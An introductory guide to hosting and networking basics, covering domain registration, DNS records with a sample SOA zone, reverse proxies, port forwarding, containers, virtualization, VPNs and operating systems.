Domain names are a word, phrase, or string that is used for navigating the Internet. They are registered to individuals or legal entities in lengths of years for a set fee. They are divided into levels, where each level is separated by a period (dot). Domain registrations include the top-level and second-level portion of a domain. All levels below are controlled by DNS at the discretion of the domain registrant. Top-level domains (TLDs) are .com, .net, .info, .edu, .org, etc. The customizable part of the domain name you can register is called the second-level domain. Third-level domains are referred to as subdomains.
Structure: subdomain.secondleveldomain.tld
E.g.: fr.vainsta.fr
Domain Registration
Registering a domain name is done with a Domain Registrar. Prices are based on the top-level domain, but all registrations are for a period of one year minimum. Registrars come in two flavors:
- Accredited: These registrars work directly with ICANN or other regional Internet registries for domain registrations.
- Domain Resellers: These companies work with a "white label" registrar to resell domain registrations for a small markup.
Accreditation requires quite a bit of infrastructure and vetting to make sure you can handle all aspects of registering and maintaining domains on behalf of the registrant. Resellers are popular because of low overhead and easy implementation. Many "white label" registrars have turnkey solutions for resellers to appear as independent registrars while actually reselling domain names.
Which Is Right For You?
Choosing a domain registrar is easy. Picking a domain registrar that is trustworthy and reputable is less so. Many domain registrars also offer to handle the DNS records for the domains registered with them. Many registrars have domain registration as a part of their business. Registration is usually bundled with webhosting or other related services. You may even get a domain registration for free if you agree to a year-long hosting contract with a webhost. While bundling related services together under one roof may sound convenient, it is generally not a good idea. It is recommended to have your domain registration with a registrar, DNS records with another company, and hosting with yet another entity. Common reasoning for this piece of advice is that if your service provider has a serious outage or other technical problem, it can only affect one aspect of your online presence. If you have all services under one provider, a technical issue could prevent your DNS from resolving and your website/service from being served.
You can find the list of ICANN-accredited domain registrars here.
As far as finding a reputable, trustworthy service provider, we must insist on your own research. One of the most popular forums for discussing hosting and related services is Web Hosting Talk. If a relevant service provider has a bad reputation in the industry, you can surely find out about it here.
Domain Name System
The Domain Name System (DNS) is the method of defining what unique machines serve content for your domain. The important parts of DNS you have to worry about are nameservers and DNS records.
Nameservers
Nameservers are a way to declare which servers are responsible for answering record requests for your domain. Most registrars provide DNS services, but if you have your DNS provided elsewhere, you will want to provide your primary and secondary nameservers to your registrar. The nameservers to use will be provided by your DNS service provider.
E.g.: ns1.dnsnameserver.net, ns2.dnsnameserver.net
DNS Records
DNS records are part of your domain name configuration called a DNS zone.
Example SOA:
$TTL 86400
@ IN SOA ns1.nameserver.com. postmaster.sumdomain.com. (
2020080302 ;Serial
7200 ;Refresh
3600 ;Retry
1209600 ;Expire
3600 ;Negative response caching TTL
)The fields of a DNS zone record are:
- Domain: Either the domain name or subdomain to create a record for.
- Time to live: The time in seconds for a record to be cached before a new copy is requested.
- Class: Indicative of the namespace. Usually IN (Internet namespace).
- Type: The type of record to define.
- Content: The content of the record. What is acceptable in this field is dependent on the type of record.
There are many types of DNS records, let's go over some common ones. This list is not exhaustive.
- A: A records tie the domain or subdomain to an IPv4 address.
- AAAA: AAAA records tie the domain or subdomain to an IPv6 address.
- CNAME: CNAME records tie the domain or subdomain to another domain or subdomain.
- MX: MX records are used to define how mail is handled for your domain. The content of an MX record is the priority and answering server domain name. Lower preference number indicates higher priority.
- TXT: Text records associate text data with your domain. They are used for a variety of reasons, notable for SPF or DKIM.
Reverse Proxies
Reverse proxies are daemons that accept connections and then connect to another service based on port or host to facilitate the request. They act as a middleman instead of a traffic redirector.
Typical use cases for reverse proxies are to provide a unified frontend for multiple backends or hosts. Another common use is for high-availability to provide failover or distribute load between multiple backends serving the same content.
Examples of popular software capable of performing as a reverse proxy are: Squid, HAProxy, Apache, nginx, and Caddy.
Port Forwarding
Port forwarding is the function of inspecting traffic on an incoming port and redirecting it to another port or host with minimal modification. Primary purposes of this are to forward traffic to a service behind a firewall/router.
Common for hosting game servers from home when running dedicated servers before developers moved to match-making. Another use for this is to open ports for BitTorrent so that you can share your vast and innumerable collection of Linux ISOs.
The difference between port forwarding and a reverse proxy is that the reverse proxy will accept, process, and establish a new connection to the backend service to fulfil the request.
Port forwarding inspects and alters packet headers before it is routed to its new destination. The connection is otherwise untouched.
Port forwarding is a function of your firewall. Commonly at the router or other network gateway.
Linux has two firewalls called iptables and nftables, with many frontends or management packages available for them. BSD-based firewalls are pf, ipfw, and IPFilter. The Windows firewall consists of a scarecrow holding a sign saying: "plz no tresspass".
Containers
Containers are software envelopes to isolate a piece or bundle of software and their dependencies. Containers come in many forms. A container could contain a PHP-based forum with an AMP stack (Apache, Maria DB, PHP) as dependencies. This is useful if you want an easy way to deploy software without configuring dependent software/libraries manually. Containers can also resolve software conflicts when running multiple services which depend on different versions of the same software/libraries.
Popular containers are Linux Containers (LXC), jails (BSD UNIX), Kubernetes, and Docker.
Virtualization
Virtualization is a lower level form of containerization. There are many forms of virtualization that provide different sets of features/tradeoffs. In practice, it often virtualizes whole or major parts of an operating system.
Full virtualization
Full virtualization is generally understood as the containerization of a full, unmodified operating system with virtualized hardware. The virtualized OS is not host-aware. Fully virtualized guests require more overhead than paravirtualized guests. This can be mitigated with hardware support (Intel VT, AMD SVM) for virtualization instructions.
Examples of this are Hyper-V, Xen, KVM/Qemu, VMware ESXi.
Paravirtualization
Paravirtualization is the practice of running a modified kernel/OS where privileged instructions are sent through an API shared with the host. It does not require the virtualization of hardware, but it does require an operating system that is modified to be used with the specific API used by your chosen virtualization method. This can be in the form of source code modifications or specialized device drivers.
Microsoft Windows cannot be paravirtualized.
Examples: Xen, Oracle VM, OpenVZ.
Virtual private networks
Virtual private networks (VPNs) are a way of networking individual machines together in software regardless of their physical or network proximity. A typical use case is for networking corporate locations together to share network resources such as file shares, intranet webservers, on-premises services, etc. Another use for a VPN is to tunnel traffic destined for a public service through to another endpoint, usually to bypass geo-location restrictions or state-imposed censorship of the Internet.
Some people use VPNs so they can access their services that are behind a restrictive ISP or firewall.
Operating Systems
An operating system is the software that is responsible for running and managing your physical machine. It provides the kernel, hardware drivers, low-level software packages, libraries, and userland applications for the end-user to provide basic functions.
Most consumers or end-users will use Microsoft Windows or macOS as their operating system on their desktop or laptop computers.
You will commonly find that corporate IT infrastructure used to serve employees is Microsoft-based, using ActiveDomain (AD) for authentication, Exchange for email and groupware, IIS for serving websites, and MSSQL for databases.
Linux or UNIX-based operating systems are the popular choice for hosting services and serving content to end-users. Examples are webhosts for serving websites, Netflix for serving movie and TV streams, DNS services for domain records, and most if not all other infrastructure needed to keep the Internet operational.
Android is a Linux-based operating system used in the majority of the smartphone market. iOS is a BSD-based mobile OS used by Apple for iPhones.
Embedded Linux and BSD are also used in devices like set-top boxes, smart TVs, routers, smart switches, medical equipment, flight telemetry controllers for aerospace, navigation equipment, industrial automation, etc...